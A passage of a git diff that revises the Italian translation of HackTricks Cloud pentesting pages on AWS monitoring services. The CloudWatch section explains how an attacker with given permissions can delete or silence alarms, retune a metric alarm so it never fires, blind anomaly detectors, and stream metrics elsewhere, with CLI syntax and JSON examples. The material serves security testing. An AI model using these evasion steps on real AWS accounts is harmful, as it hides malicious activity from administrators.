contenitore per le metriche di CloudWatch. Aiuta a categorizz ### Metriche -Le metriche sono punti dati raccolti nel tempo che rappresentano le prestazioni o l'utilizzo delle risorse AWS. Le metriche possono essere raccolte dai servizi AWS, applicazioni personalizzate o integrazioni di terze parti. +Le metriche sono punti dati raccolti nel tempo che rappresentano le prestazioni o l'utilizzo delle risorse AWS. Le metriche possono essere raccolte dai servizi AWS, da applicazioni personalizzate o da integrazioni di terze parti. - **Esempio**: CPUUtilization, NetworkIn, DiskReadOps. @@ -39,7 +39,7 @@ Le dimensioni sono coppie chiave-valore che fanno parte delle metriche. Aiutano ### Statistiche -Le statistiche sono calcoli matematici eseguiti sui dati delle metriche per riassumerli nel tempo. Le statistiche comuni includono Media, Somma, Minimo, Massimo e ConteggioCampioni. +Le statistiche sono calcoli matematici eseguiti sui dati delle metriche per riassumerli nel tempo. Le statistiche comuni includono Media, Somma, Minimo, Massimo e Conteggio dei campioni. - **Esempio**: Calcolare la media dell'utilizzo della CPU su un periodo di un'ora. @@ -64,16 +64,16 @@ Le unità sono il tipo di misura associato a una metrica. Le unità aiutano a fo - Una singola dashboard che mostra metriche chiave per l'intero ambiente AWS, incluse le istanze EC2, i database RDS e i bucket S3. -### Stream di Metriche e Dati Metrici +### Metric Stream e Dati Metrici -**Metric Streams** in AWS CloudWatch ti consentono di trasmettere continuamente le metriche di CloudWatch a una destinazione a tua scelta in tempo quasi reale. Questo è particolarmente utile per il monitoraggio avanzato, l'analisi e dashboard personalizzate utilizzando strumenti al di fuori di AWS. +**I Metric Streams** in AWS CloudWatch ti consentono di trasmettere continuamente le metriche di CloudWatch a una destinazione a tua scelta in tempo quasi reale. Questo è particolarmente utile per il monitoraggio avanzato, l'analisi e le dashboard personalizzate utilizzando strumenti al di fuori di AWS. -**Dati Metrici** all'interno dei Metric Streams si riferiscono alle misurazioni effettive o ai punti dati che vengono trasmessi. Questi punti dati rappresentano varie metriche come l'utilizzo della CPU, l'uso della memoria, ecc., per le risorse AWS. +**I Dati Metrici** all'interno dei Metric Streams si riferiscono alle misurazioni effettive o ai punti dati che vengono trasmessi. Questi punti dati rappresentano varie metriche come l'utilizzo della CPU, l'uso della memoria, ecc., per le risorse AWS. **Esempio di caso d'uso**: - Inviare metriche in tempo reale a un servizio di monitoraggio di terze parti per un'analisi avanzata. -- Archiviare metriche in un bucket Amazon S3 per lo stoccaggio a lungo termine e la conformità. +- Archiviare metriche in un bucket Amazon S3 per la conservazione a lungo termine e la conformità. ### Allarme @@ -90,13 +90,13 @@ Le unità sono il tipo di misura associato a una metrica. Le unità aiutano a fo - Monitorare l'utilizzo della CPU delle istanze EC2 e inviare una notifica tramite SNS se supera l'80% per 5 minuti consecutivi. -### Rilevatori di Anomalie +### Rilevatori di anomalie -**I Rilevatori di Anomalie** utilizzano l'apprendimento automatico per rilevare automaticamente anomalie nelle tue metriche. Puoi applicare il rilevamento delle anomalie a qualsiasi metrica di CloudWatch per identificare deviazioni dai modelli normali che potrebbero indicare problemi. +**I Rilevatori di anomalie** utilizzano l'apprendimento automatico per rilevare automaticamente anomalie nelle tue metriche. Puoi applicare il rilevamento delle anomalie a qualsiasi metrica di CloudWatch per identificare deviazioni dai modelli normali che potrebbero indicare problemi. **Componenti chiave**: -- **Addestramento del modello**: CloudWatch utilizza dati storici per addestrare un modello e stabilire come appare un comportamento normale. +- **Addestramento del modello**: CloudWatch utilizza dati storici per addestrare un modello e stabilire quale comportamento è normale. - **Banda di rilevamento delle anomalie**: Una rappresentazione visiva dell'intervallo di valori attesi per una metrica. **Esempio di caso d'uso**: @@ -105,39 +105,39 @@ Le unità sono il tipo di misura associato a una metrica. Le unità aiutano a fo ### Regole di Insight e Regole di Insight Gestite -**Le Regole di Insight** ti consentono di identificare tendenze, rilevare picchi o altri modelli di interesse nei tuoi dati metrici utilizzando **espressioni matematiche potenti** per definire le condizioni sotto le quali devono essere intraprese azioni. Queste regole possono aiutarti a identificare anomalie o comportamenti insoliti nelle prestazioni e nell'utilizzo delle tue risorse. +**Le Regole di Insight** ti consentono di identificare tendenze, rilevare picchi o altri modelli di interesse nei tuoi dati metrici utilizzando **espressioni matematiche potenti** per definire le condizioni in base alle quali devono essere intraprese azioni. Queste regole possono aiutarti a identificare anomalie o comportamenti insoliti nelle prestazioni e nell'utilizzo delle tue risorse. **Le Regole di Insight Gestite** sono regole di insight **preconfigurate fornite da AWS**. Sono progettate per monitorare servizi AWS specifici o casi d'uso comuni e possono essere attivate senza necessità di configurazione dettagliata. **Esempio di caso d'uso**: -- Monitorare le prestazioni di RDS: Abilitare una regola di insight gestita per Amazon RDS che monitora indicatori chiave di prestazione come l'utilizzo della CPU, l'uso della memoria e il disco I/O. Se una di queste metriche supera le soglie operative sicure, la regola può attivare un avviso o un'azione di mitigazione automatica. +- Monitorare le prestazioni di RDS: Abilitare una regola di insight gestita per Amazon RDS che monitora indicatori chiave di prestazione come l'utilizzo della CPU, l'uso della memoria e il disco I/O. Se una di queste metriche supera soglie operative sicure, la regola può attivare un avviso o un'azione di mitigazione automatica. -### Log di CloudWatch +### CloudWatch Logs Consente di **aggregare e monitorare i log delle applicazioni** e dei sistemi dai **servizi AWS** (incluso CloudTrail) e **da app/sistemi** (**CloudWatch Agent** può essere installato su un host). I log possono essere **archiviati indefinitamente** (a seconda delle impostazioni del Log Group) e possono essere esportati. **Elementi**: -| **Log Group** | Una **collezione di flussi di log** che condividono le stesse impostazioni di retention, monitoraggio e controllo accessi | +| **Log Group** | Una **collezione di flussi di log** che condividono le stesse impostazioni di retention, monitoraggio e controllo degli accessi | | ------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------- | | **Log Stream** | Una sequenza di **eventi di log** che condividono la **stessa fonte** | -| **Filtri di Sottoscrizione** | Definiscono un **modello di filtro che corrisponde agli eventi** in un particolare gruppo di log, inviandoli a un flusso Kinesis Data Firehose, flusso Kinesis o a una funzione Lambda | +| **Filtri di sottoscrizione** | Definiscono un **modello di filtro che corrisponde agli eventi** in un particolare log group, inviandoli a Kinesis Data Firehose stream, Kinesis stream o a una funzione Lambda | ### Monitoraggio e Eventi di CloudWatch -CloudWatch **base** aggrega i dati **ogni 5 minuti** (quello **dettagliato** lo fa **ogni 1 minuto**). Dopo l'aggregazione, **controlla le soglie degli allarmi** nel caso debba attivarne uno.\ -In tal caso, CloudWatch può essere preparato a inviare un evento e intraprendere alcune azioni automatiche (funzioni AWS lambda, argomenti SNS, code SQS, flussi Kinesis) +CloudWatch **base** aggrega i dati **ogni 5 minuti** (quello **dettagliato** lo fa **ogni 1 minuto**). Dopo l'aggregazione, **controlla le soglie degli allarmi** nel caso debba attivare uno.\ +In tal caso, CloudWatch può essere pronto a inviare un evento e intraprendere alcune azioni automatiche (funzioni AWS lambda, argomenti SNS, code SQS, Kinesis Streams) ### Installazione dell'Agente Puoi installare agenti all'interno delle tue macchine/contenitori per inviare automaticamente i log a CloudWatch. -- **Crea** un **ruolo** e **allega** ad **istanza** con permessi che consentono a CloudWatch di raccogliere dati dalle istanze oltre a interagire con AWS Systems Manager SSM (CloudWatchAgentAdminPolicy & AmazonEC2RoleforSSM) +- **Crea** un **ruolo** e **allegalo** all'**istanza** con permessi che consentano a CloudWatch di raccogliere dati dalle istanze oltre a interagire con AWS Systems Manager SSM (CloudWatchAgentAdminPolicy & AmazonEC2RoleforSSM) - **Scarica** e **installa** l'**agente** sull'istanza EC2 ([https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip](https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip)). Puoi scaricarlo dall'interno dell'EC2 o installarlo automaticamente utilizzando AWS Systems Manager selezionando il pacchetto AWS-ConfigureAWSPackage - **Configura** e **avvia** l'Agente CloudWatch -Un gruppo di log ha molti flussi. Un flusso ha molti eventi. E all'interno di ogni flusso, gli eventi sono garantiti in ordine. +Un log group ha molti flussi. Un flusso ha molti eventi. E all'interno di ciascun flusso, gli eventi sono garantiti in ordine. ## Enumerazione ```bash @@ -216,9 +216,9 @@ aws events list-event-buses ### **`cloudwatch:DeleteAlarms`,`cloudwatch:PutMetricAlarm` , `cloudwatch:PutCompositeAlarm`** -Un attaccante con questi permessi potrebbe compromettere significativamente l'infrastruttura di monitoraggio e allerta di un'organizzazione. Cancellando allarmi esistenti, un attaccante potrebbe disabilitare avvisi cruciali che notificano gli amministratori di problemi di prestazioni critici, violazioni della sicurezza o guasti operativi. Inoltre, creando o modificando allarmi metrici, l'attaccante potrebbe anche fuorviare gli amministratori con avvisi falsi o silenziare allarmi legittimi, mascherando efficacemente attività malevole e impedendo risposte tempestive a incidenti reali. +Un attaccante con questi permessi potrebbe compromettere significativamente l'infrastruttura di monitoraggio e allerta di un'organizzazione. Cancellando allarmi esistenti, un attaccante potrebbe disabilitare avvisi cruciali che notificano gli amministratori di problemi critici di prestazioni, violazioni della sicurezza o guasti operativi. Inoltre, creando o modificando allarmi metrici, l'attaccante potrebbe anche fuorviare gli amministratori con falsi avvisi o silenziare allarmi legittimi, mascherando efficacemente attività malevole e impedendo risposte tempestive a incidenti reali. -Inoltre, con il permesso **`cloudwatch:PutCompositeAlarm`**, un attaccante sarebbe in grado di creare un ciclo di allarmi compositi, dove l'allarme composito A dipende dall'allarme composito B, e l'allarme composito B dipende anch'esso dall'allarme composito A. In questo scenario, non è possibile eliminare alcun allarme composito che fa parte del ciclo perché c'è sempre un allarme composito che dipende da quell'allarme che si desidera eliminare. +Inoltre, con il permesso **`cloudwatch:PutCompositeAlarm`**, un attaccante sarebbe in grado di creare un ciclo di allarmi compositi, dove l'allarme composito A dipende dall'allarme composito B, e l'allarme composito B dipende anche dall'allarme composito A. In questo scenario, non è possibile eliminare alcun allarme composito che fa parte del ciclo perché c'è sempre un allarme composito che dipende da quell'allarme che si desidera eliminare. ```bash aws cloudwatch put-metric-alarm --cli-input-json | --alarm-name --comparison-operator --evaluation-periods [--datapoints-to-alarm ] [--threshold ] [--alarm-description ] [--alarm-actions ] [--metric-name ] [--namespace ] [--statistic ] [--dimensions ] [--period ] aws cloudwatch delete-alarms --alarm-names @@ -226,8 +226,8 @@ aws cloudwatch put-composite-alarm --alarm-name --alarm-rule [-- ``` L'esempio seguente mostra come rendere inefficace un allarme metrico: -- Questo allarme metrico monitora l'utilizzo medio della CPU di un'istanza EC2 specifica, valuta la metrica ogni 300 secondi e richiede 6 periodi di valutazione (30 minuti in totale). Se l'utilizzo medio della CPU supera il 60% per almeno 4 di questi periodi, l'allarme si attiverà e invierà una notifica al topic SNS specificato. -- Modificando la Soglia a più del 99%, impostando il Periodo a 10 secondi, i Periodi di Valutazione a 8640 (poiché 8640 periodi di 10 secondi equivalgono a 1 giorno) e i Datapoints to Alarm a 8640, sarebbe necessario che l'utilizzo della CPU fosse superiore al 99% ogni 10 secondi per tutto il periodo di 24 ore per attivare un allarme. +- Questo allarme metrico monitora l'utilizzo medio della CPU di una specifica istanza EC2, valuta la metrica ogni 300 secondi e richiede 6 periodi di valutazione (30 minuti in totale). Se l'utilizzo medio della CPU supera il 60% per almeno 4 di questi periodi, l'allarme si attiverà e invierà una notifica al topic SNS specificato. +- Modificando la soglia a più del 99%, impostando il periodo a 10 secondi, i periodi di valutazione a 8640 (poiché 8640 periodi di 10 secondi equivalgono a 1 giorno) e i punti dati per l'allarme a 8640, sarebbe necessario che l'utilizzo della CPU fosse superiore al 99% ogni 10 secondi per l'intero periodo di 24 ore per attivare un allarme. {{#tabs }} {{#tab name="Original Metric Alarm" }} @@ -254,7 +254,7 @@ L'esempio seguente mostra come rendere inefficace un allarme metrico: ``` {{#endtab }} -{{#tab name="Allerta di Metri Modificata" }} +{{#tab name="Allerta metrica modificata" }} ```json { "Namespace": "AWS/EC2", @@ -285,9 +285,9 @@ L'esempio seguente mostra come rendere inefficace un allarme metrico: Eliminando le azioni di allerta, l'attaccante potrebbe impedire che vengano attivati avvisi critici e risposte automatiche quando viene raggiunto uno stato di allerta, come notificare gli amministratori o attivare attività di auto-scaling. Abilitare o riabilitare in modo inappropriato le azioni di allerta potrebbe anche portare a comportamenti imprevisti, sia riattivando azioni precedentemente disabilitate sia modificando quali azioni vengono attivate, causando potenzialmente confusione e deviazione nella risposta agli incidenti. -Inoltre, un attaccante con il permesso potrebbe manipolare gli stati di allerta, essendo in grado di creare falsi allerta per distrarre e confondere gli amministratori, o silenziare allerta genuine per nascondere attività malevole in corso o guasti critici del sistema. +Inoltre, un attaccante con il permesso potrebbe manipolare gli stati di allerta, essendo in grado di creare falsi allarmi per distrarre e confondere gli amministratori, o silenziare allarmi genuini per nascondere attività malevole in corso o gravi guasti di sistema. -- Se utilizzi **`SetAlarmState`** su un allerta composita, l'allerta composita non è garantita a tornare al suo stato effettivo. Torna al suo stato effettivo solo una volta che uno dei suoi allerta figli cambia stato. Viene anche rivalutata se aggiorni la sua configurazione. +- Se utilizzi **`SetAlarmState`** su un allarme composito, l'allarme composito non è garantito a tornare al suo stato effettivo. Torna al suo stato effettivo solo una volta che uno dei suoi allarmi figli cambia stato. Viene anche rivalutato se aggiorni la sua configurazione. ```bash aws cloudwatch disable-alarm-actions --alarm-names aws cloudwatch enable-alarm-actions --alarm-names @@ -297,12 +297,12 @@ aws cloudwatch set-alarm-state --alarm-name --state-value | --namespace --metric-name --dimensions --stat ] aws cloudwatch put-anomaly-detector [--cli-input-json | --namespace --metric-name --dimensions --stat --configuration --metric-characteristics ] ``` -L'esempio seguente mostra come rendere inefficace un rilevatore di anomalie metriche. Questo rilevatore di anomalie metriche monitora l'utilizzo medio della CPU di un'istanza EC2 specifica, e basta aggiungere il parametro “ExcludedTimeRanges” con l'intervallo di tempo desiderato per garantire che il rilevatore di anomalie non analizzi né avvisi su dati rilevanti durante quel periodo. +L'esempio seguente mostra come rendere inefficace un rilevatore di anomalie metriche. Questo rilevatore di anomalie metriche monitora l'utilizzo medio della CPU di un'istanza EC2 specifica, e basta aggiungere il parametro “ExcludedTimeRanges” con l'intervallo di tempo desiderato, per garantire che il rilevatore di anomalie non analizzi né avvisi su dati rilevanti durante quel periodo. {{#tabs }} {{#tab name="Original Metric Anomaly Detector" }} @@ -323,7 +323,7 @@ L'esempio seguente mostra come rendere inefficace un rilevatore di anomalie metr ``` {{#endtab }} -{{#tab name="Rilevatore di Anomalie Metriche Modificate" }} +{{#tab name="Rilevatore di Anomalie con Metriche Modificate" }} ```json { "SingleMetricAnomalyDetector": { @@ -355,7 +355,7 @@ L'esempio seguente mostra come rendere inefficace un rilevatore di anomalie metr ### **`cloudwatch:DeleteDashboards`, `cloudwatch:PutDashboard`** -Un attaccante sarebbe in grado di compromettere le capacità di monitoraggio e visualizzazione di un'organizzazione creando, modificando o eliminando i suoi dashboard. Queste autorizzazioni potrebbero essere sfruttate per rimuovere la visibilità critica sulle prestazioni e sulla salute dei sistemi, alterare i dashboard per visualizzare dati errati o nascondere attività malevole. +Un attaccante potrebbe compromettere le capacità di monitoraggio e visualizzazione di un'organizzazione creando, modificando o eliminando i suoi dashboard. Queste autorizzazioni potrebbero essere sfruttate per rimuovere la visibilità critica sulle prestazioni e sulla salute dei sistemi, alterare i dashboard per visualizzare dati errati o nascondere attività malevole. ```bash aws cloudwatch delete-dashboards --dashboard-names aws cloudwatch put-dashboard --dashboard-name --dashboard-body @@ -374,7 +374,7 @@ aws cloudwatch put-managed-insight-rules --managed-rules ### **`cloudwatch:DisableInsightRules`, `cloudwatch:EnableInsightRules`** -Disabilitando regole di insight critiche, un attaccante potrebbe effettivamente accecare l'organizzazione su metriche chiave di prestazioni e sicurezza. Al contrario, abilitando o configurando regole fuorvianti, potrebbe essere possibile generare dati falsi, creare rumore o nascondere attività malevole. +Disabilitando regole di insight critiche, un attaccante potrebbe effettivamente rendere cieca l'organizzazione rispetto a metriche chiave di prestazioni e sicurezza. Al contrario, abilitando o configurando regole fuorvianti, potrebbe essere possibile generare dati falsi, creare rumore o nascondere attività malevole. ```bash aws cloudwatch disable-insight-rules --rule-names aws cloudwatch enable-insight-rules --rule-names @@ -386,7 +386,7 @@ aws cloudwatch enable-insight-rules --rule-names Un attaccante con i permessi **`cloudwatch:DeleteMetricStream`** , **`cloudwatch:PutMetricStream`** sarebbe in grado di creare e eliminare flussi di dati metrici, compromettendo la sicurezza, il monitoraggio e l'integrità dei dati: - **Creare flussi malevoli**: Creare flussi metrici per inviare dati sensibili a destinazioni non autorizzate. -- **Manipolazione delle risorse**: La creazione di nuovi flussi metrici con dati eccessivi potrebbe produrre molto rumore, causando allarmi errati e mascherando problemi reali. +- **Manipolazione delle risorse**: La creazione di nuovi flussi metrici con dati eccessivi potrebbe produrre molto rumore, causando allarmi errati, mascherando problemi reali. - **Interruzione del monitoraggio**: Eliminando i flussi metrici, gli attaccanti interromperebbero il flusso continuo di dati di monitoraggio. In questo modo, le loro attività malevole sarebbero efficacemente nascoste. Allo stesso modo, con il permesso **`cloudwatch:PutMetricData`**, sarebbe possibile aggiungere dati a un flusso metrico. Questo potrebbe portare a un DoS a causa della quantità di dati impropri aggiunti, rendendolo completamente inutile. diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md index addfaf8b5..1531c7441 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md @@ -6,11 +6,11 @@ AWS Config **cattura le modifiche alle risorse**, quindi qualsiasi modifica a una risorsa supportata da Config può essere registrata, il che **registrerà cosa è cambiato insieme ad altri metadati utili, tutti contenuti in un file noto come elemento di configurazione**, un CI. Questo servizio è **specifico per regione**. -Un elemento di configurazione o **CI**, come è noto, è un componente chiave di AWS Config. È composto da un file JSON che **contiene le informazioni di configurazione, le informazioni sulle relazioni e altri metadati come una vista istantanea nel tempo di una risorsa supportata**. Tutte le informazioni che AWS Config può registrare per una risorsa sono catturate all'interno del CI. Un CI viene creato **ogni volta** che una risorsa supportata subisce una modifica alla sua configurazione in qualsiasi modo. Oltre a registrare i dettagli della risorsa interessata, AWS Config registrerà anche i CI per qualsiasi risorsa direttamente correlata per garantire che la modifica non abbia influenzato anche quelle risorse. +Un elemento di configurazione o **CI**, come è noto, è un componente chiave di AWS Config. È composto da un file JSON che **contiene le informazioni di configurazione, le informazioni sulle relazioni e altri metadati come una vista istantanea di un momento nel tempo di una risorsa supportata**. Tutte le informazioni che AWS Config può registrare per una risorsa sono catturate all'interno del CI. Un CI viene creato **ogni volta** che una risorsa supportata subisce una modifica alla sua configurazione in qualsiasi modo. Oltre a registrare i dettagli della risorsa interessata, AWS Config registrerà anche i CI per tutte le risorse direttamente correlate per garantire che la modifica non abbia influenzato anche quelle risorse. - **Metadati**: Contiene dettagli sull'elemento di configurazione stesso. Un ID versione e un ID configurazione, che identificano univocamente il CI. Altre informazioni possono includere un MD5Hash che consente di confrontare altri CI già registrati contro la stessa risorsa. - **Attributi**: Questo contiene informazioni comuni **sugli attributi rispetto alla risorsa effettiva**. All'interno di questa sezione, abbiamo anche un ID risorsa unico e eventuali tag di valore chiave associati alla risorsa. Anche il tipo di risorsa è elencato. Ad esempio, se questo fosse un CI per un'istanza EC2, i tipi di risorsa elencati potrebbero essere l'interfaccia di rete o l'indirizzo IP elastico per quell'istanza EC2. -- **Relazioni**: Questo contiene informazioni su qualsiasi **relazione connessa che la risorsa potrebbe avere**. Quindi, all'interno di questa sezione, mostrerebbe una chiara descrizione di qualsiasi relazione con altre risorse che questa risorsa aveva. Ad esempio, se il CI fosse per un'istanza EC2, la sezione delle relazioni potrebbe mostrare la connessione a un VPC insieme alla subnet in cui risiede l'istanza EC2. +- **Relazioni**: Questo contiene informazioni su qualsiasi **relazione connessa che la risorsa potrebbe avere**. Quindi, all'interno di questa sezione, mostrerebbe una chiara descrizione di qualsiasi relazione con altre risorse che questa risorsa aveva. Ad esempio, se il CI fosse per un'istanza EC2, la sezione delle relazioni potrebbe mostrare la connessione a una VPC insieme alla subnet in cui risiede l'istanza EC2. - **Configurazione attuale:** Questo mostrerà le stesse informazioni che verrebbero generate se si eseguisse una chiamata API di descrizione o elenco effettuata dal AWS CLI. AWS Config utilizza le stesse chiamate API per ottenere le stesse informazioni. - **Eventi correlati**: Questo si riferisce ad AWS CloudTrail. Questo mostrerà l'**ID evento di AWS CloudTrail che è correlato alla modifica che ha attivato la creazione di questo CI**. Viene creato un nuovo CI per ogni modifica apportata a una risorsa. Di conseguenza, verranno creati diversi ID evento di CloudTrail. @@ -34,10 +34,10 @@ Un elemento di configurazione o **CI**, come è noto, è un componente chiave di ### Regole di Config -Le regole di Config sono un ottimo modo per aiutarti a **applicare controlli e verifiche di conformità specifici** **sulle tue risorse**, e ti consentono di adottare una specifica di distribuzione ideale per ciascuno dei tuoi tipi di risorsa. Ogni regola **è essenzialmente una funzione lambda** che, quando chiamata, valuta la risorsa e svolge una logica semplice per determinare il risultato di conformità con la regola. **Ogni volta che viene apportata una modifica** a una delle tue risorse supportate, **AWS Config controllerà la conformità rispetto a qualsiasi regola di configurazione che hai in atto**.\ -AWS ha un certo numero di **regole predefinite** che rientrano sotto l'ombrello della sicurezza e sono pronte per essere utilizzate. Ad esempio, Rds-storage-encrypted. Questo controlla se la crittografia dello storage è attivata dalle tue istanze di database RDS. Encrypted-volumes. Questo controlla se ci sono volumi EBS che hanno uno stato allegato e sono crittografati. +Le regole di Config sono un ottimo modo per aiutarti a **applicare controlli e verifiche di conformità specifici** **sulle tue risorse**, e ti consentono di adottare una specifica di distribuzione ideale per ciascuno dei tuoi tipi di risorsa. Ogni regola **è essenzialmente una funzione lambda** che, quando viene chiamata, valuta la risorsa e svolge una logica semplice per determinare il risultato di conformità con la regola. **Ogni volta che viene apportata una modifica** a una delle tue risorse supportate, **AWS Config controllerà la conformità rispetto a qualsiasi regola di configurazione che hai in atto**.\ +AWS ha un certo numero di **regole predefinite** che rientrano sotto l'ombrello della sicurezza e sono pronte per essere utilizzate. Ad esempio, Rds-storage-encrypted. Questa verifica se la crittografia dello storage è attivata dalle tue istanze di database RDS. Encrypted-volumes. Questa verifica se ci sono volumi EBS che hanno uno stato allegato e sono crittografati. -- **Regole gestite da AWS**: Set di regole predefinite che coprono molte delle migliori pratiche, quindi vale sempre la pena esaminare prima queste regole prima di impostare le tue, poiché c'è la possibilità che la regola possa già esistere. +- **Regole gestite da AWS**: Set di regole predefinite che coprono molte delle migliori pratiche, quindi vale sempre la pena esaminare prima queste regole prima di impostare le tue, poiché c'è la possibilità che la regola esista già. - **Regole personalizzate**: Puoi creare le tue regole per controllare configurazioni personalizzate specifiche. Limite di 50 regole di configurazione per regione prima di dover contattare AWS per un aumento.\ diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md index 1fd7229f9..561ccf588 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md @@ -9,17 +9,17 @@ AWS Control Tower è un **servizio fornito da Amazon Web Services (AWS)** che consente alle organizzazioni di configurare e governare un ambiente multi-account sicuro e conforme in AWS. -AWS Control Tower fornisce un **insieme predefinito di modelli di best practice** che possono essere personalizzati per soddisfare specifici **requisiti organizzativi**. Questi modelli includono servizi e funzionalità AWS preconfigurati, come AWS Single Sign-On (SSO), AWS Config, AWS CloudTrail e AWS Service Catalog. +AWS Control Tower fornisce un **insieme predefinito di blueprint delle migliori pratiche** che possono essere personalizzati per soddisfare specifici **requisiti organizzativi**. Questi blueprint includono servizi e funzionalità AWS preconfigurati, come AWS Single Sign-On (SSO), AWS Config, AWS CloudTrail e AWS Service Catalog. Con AWS Control Tower, gli amministratori possono rapidamente configurare un **ambiente multi-account che soddisfa i requisiti organizzativi**, come **sicurezza** e conformità. Il servizio fornisce un dashboard centrale per visualizzare e gestire account e risorse, e automatizza anche il provisioning di account, servizi e politiche. Inoltre, AWS Control Tower fornisce guardrails, che sono un insieme di politiche preconfigurate che garantiscono che l'ambiente rimanga conforme ai requisiti organizzativi. Queste politiche possono essere personalizzate per soddisfare esigenze specifiche. -In generale, AWS Control Tower semplifica il processo di configurazione e gestione di un ambiente multi-account sicuro e conforme in AWS, rendendo più facile per le organizzazioni concentrarsi sui propri obiettivi aziendali principali. +In generale, AWS Control Tower semplifica il processo di configurazione e gestione di un ambiente multi-account sicuro e conforme in AWS, rendendo più facile per le organizzazioni concentrarsi sui loro obiettivi aziendali principali. ### Enumeration -Per enumerare i controlli di controltower, devi prima **aver enumerato l'organizzazione**: +Per enumerare i controlli di controltower, devi prima **aver enumerato l'org**: {{#ref}} ../aws-organizations-enum.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md index 32ea60f86..97698e353 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md @@ -9,7 +9,7 @@ Inoltre, puoi configurare un rilevamento delle anomalie in modo che AWS ti avvis ### Budget -I budget aiutano a **gestire i costi e l'utilizzo**. Puoi ricevere **avvisi quando viene raggiunto un limite**.\ +I budget aiutano a **gestire costi e utilizzo**. Puoi ricevere **avvisi quando viene raggiunto un limite**.\ Inoltre, possono essere utilizzati per il monitoraggio non legato ai costi, come l'utilizzo di un servizio (quanti GB sono utilizzati in un particolare bucket S3?). {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md index 1501d1000..cd81ad082 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md @@ -4,9 +4,9 @@ ## Detective -**Amazon Detective** semplifica il processo di indagine sulla sicurezza, rendendolo più efficiente per **analizzare, investigare e individuare la causa principale** di problemi di sicurezza o attività insolite. Automatizza la raccolta di dati di log dalle risorse AWS e impiega **apprendimento automatico, analisi statistica e teoria dei grafi** per costruire un insieme di dati interconnesso. Questa configurazione migliora notevolmente la velocità e l'efficacia delle indagini sulla sicurezza. +**Amazon Detective** semplifica il processo di indagine sulla sicurezza, rendendolo più efficiente per **analizzare, investigare e individuare la causa principale** dei problemi di sicurezza o delle attività insolite. Automatizza la raccolta dei dati di log dalle risorse AWS e impiega **apprendimento automatico, analisi statistica e teoria dei grafi** per costruire un insieme di dati interconnesso. Questa configurazione migliora notevolmente la velocità e l'efficacia delle indagini sulla sicurezza. -Il servizio facilita l'esplorazione approfondita degli incidenti di sicurezza, consentendo ai team di sicurezza di comprendere e affrontare rapidamente le cause sottostanti dei problemi. Amazon Detective analizza enormi quantità di dati provenienti da fonti come VPC Flow Logs, AWS CloudTrail e Amazon GuardDuty. Genera automaticamente una **visione interattiva e completa delle risorse, degli utenti e delle loro interazioni nel tempo**. Questa prospettiva integrata fornisce tutti i dettagli e il contesto necessari in un'unica posizione, consentendo ai team di discernere le ragioni dietro le scoperte di sicurezza, esaminare le attività storiche pertinenti e determinare rapidamente la causa principale. +Il servizio facilita l'esplorazione approfondita degli incidenti di sicurezza, consentendo ai team di sicurezza di comprendere rapidamente e affrontare le cause sottostanti dei problemi. Amazon Detective analizza enormi quantità di dati provenienti da fonti come VPC Flow Logs, AWS CloudTrail e Amazon GuardDuty. Genera automaticamente una **visione interattiva e completa delle risorse, degli utenti e delle loro interazioni nel tempo**. Questa prospettiva integrata fornisce tutti i dettagli e il contesto necessari in un'unica posizione, consentendo ai team di discernere le ragioni dietro le scoperte di sicurezza, esaminare le attività storiche pertinenti e determinare rapidamente la causa principale. ## References diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md index 08de8de1d..7a16abd12 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md @@ -8,12 +8,12 @@ Il servizio offre la possibilità di **raggruppare e proteggere specifiche risorse insieme**, come quelle che condividono un tag comune o tutte le tue distribuzioni CloudFront. Un vantaggio significativo di Firewall Manager è la sua capacità di **estendere automaticamente la protezione alle risorse aggiunte di recente** nel tuo account. -Un **gruppo di regole** (una raccolta di regole WAF) può essere incorporato in una Politica di AWS Firewall Manager, che è poi collegata a risorse AWS specifiche come distribuzioni CloudFront o bilanciatori di carico applicativi. +Un **gruppo di regole** (una collezione di regole WAF) può essere incorporato in una Politica di AWS Firewall Manager, che è poi collegata a risorse AWS specifiche come distribuzioni CloudFront o bilanciatori di carico delle applicazioni. AWS Firewall Manager fornisce **liste di applicazioni e protocolli gestiti** per semplificare la configurazione e la gestione delle politiche dei gruppi di sicurezza. Queste liste ti consentono di definire i protocolli e le applicazioni consentiti o negati dalle tue politiche. Ci sono due tipi di liste gestite: - **Liste gestite da Firewall Manager**: Queste liste includono **FMS-Default-Public-Access-Apps-Allowed**, **FMS-Default-Protocols-Allowed** e 